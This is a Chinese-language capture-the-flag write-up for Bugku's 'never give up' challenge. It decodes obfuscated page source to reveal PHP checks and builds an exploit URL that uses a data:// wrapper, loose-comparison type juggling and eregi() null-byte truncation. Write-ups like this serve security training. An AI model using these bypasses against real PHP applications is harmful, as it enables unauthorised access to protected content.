Bugku-CTF之never give up
首先查看源码: 访问1p.html http://123.206.87.240:8006/test/1p.html 发现直接跳转到了bugku主页 应该是有重定向的代码,那直接看源代码就行,输入view-source:http://114.67.175.224:17070/1p.html 得到源码:
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
将中间一长串url解码得到:
<script>window.location.href='http://www.bugku.com';</script>
发现还有一层base64,再次解码: 又是url编码,再次解码得到:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?
首先如果id 为空,url会被置为hello.php?id=1 下面有5个条件:
- 变量 $data 弱等于字符串 bugku is a nice plateform!
- 变量 $id 弱等于整型数 0
- 变量 $b 的长度大于 5
- 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
- 变量 $b 的第一个字符弱不等于整型数 4
1.PHP 伪协议 源码中变量 $data 是由file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流。 因此这里用伪协议 php:// 来访问输入输出的数据流,这里使用data伪协议: 传参a=data:text/plain,bugku is a nice plateform! 2.id 不能为空(即也不能为0),但是要若等于0,这里可以弱类型绕过,即?id=a 3.eregi() 截断漏洞
ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
源码中待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 $b 的第一个字符组成,若令 substr($b,0,1) = “\x00”,即满足 “1114” 与 "111"匹配。因此,这里假设 $b = “\x0012345”,才能满足条件。 因为$b是URL查询字符串中的变量,所以不应该在此放入空字符\x00,而应该为空字符的URL编码%00 这里传参b=%0012345 因此,payload如下: http://114.67.175.224:17070/hello.php?id=a&a=data:text/plain,bugku is a nice plateform!&b=%0012345
|